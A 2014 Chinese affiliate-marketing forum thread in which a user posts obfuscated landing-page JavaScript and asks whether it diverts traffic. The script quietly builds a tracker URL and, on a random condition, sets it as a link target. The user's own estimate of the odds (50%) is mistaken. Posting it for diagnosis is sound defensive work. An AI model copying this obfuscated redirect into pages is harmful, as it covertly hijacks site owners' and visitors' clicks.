社区 › 综合讨论区: General Discussion › 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft 发表于 2014-12-25 21:16:37

一段js 求解密，怀疑流量被偷了。大牛帮我看看。

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {
    $(".option.clearfix").on("click",
    function() {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    var e = "r";
    var t = "e";
    setBtnMarginDefault = "c" + "\u006B";
    $(".option2.clearfix").on("click",
    function() {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    var n = "a";
    var r = "g";
    $(".option3.clearfix").on("click",
    function() {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    var i = "e";
    var s = n + r + e + t + i;
    $(".option4.clearfix").on("click",
    function() {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    var o = "\u0032" + "\u0030";
    var u = "\u0031" + "\u0030";
    currentWhiteSpace = Math.floor(Math.random() * o);
    setBtnMargin30 = setBtnMarginDefault + "." + "c";
    Date.prototype.getMonthName = function() {
      var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
      return e
    };
    var a = currentWhiteSpace;
    var f = "H";
    var l = "\u0052";
    var c = "o" + "\u006D";
    f += "T";
    f += "T";
    f += "P";
    var h = new Date;
    if (h.getMonth() == 11) {
      var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
    } else {
      var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
    }
    var d = ":" + "/" + "/";
    l += "S";
    l += "x";
    document.getElementById("monthz").innerHTML = p;
    l += "\u0054";
    l += "R";
    l += "\u0041" + setBtnMargin30;
    setStyle = f + d + l + c;
    s = s.toLowerCase(s);
    if (a == o - u) document.getElementsByClassName(s).href = setStyle;
})


了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s).href = setStyle;

最后这一句，怀疑是随机偷流量代码 。。。

tmdsoft 发表于 2014-12-25 21:40:19

$(function () {
    $(".option.clearfix").on("click", function () {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    $(".option2.clearfix").on("click", function () {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    $(".option3.clearfix").on("click", function () {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
    $(".option4.clearfix").on("click", function () {
      $(this).toggleClass("selected");
      if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
      } else {
            $(this).removeClass("selected")
      }
      return false
    });
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 发表于 2014-12-25 22:53:55

不是的

tmdsoft 发表于 2014-12-26 01:17:21

河小马 发表于 2014-12-25 22:53
不是的

那是什么？

tmdsoft 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s).href = setStyle

最主要的是这句话 ，最后 setstyle = Http://RSxTRAck.com

tmdsoft 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s).href = setStyle;


o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么 条件成立，请问这句代码是不是重定向到这个网址上 。

augustye 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

查看完整版本: 一段js 求解密，怀疑流量被偷了。大牛帮我看看。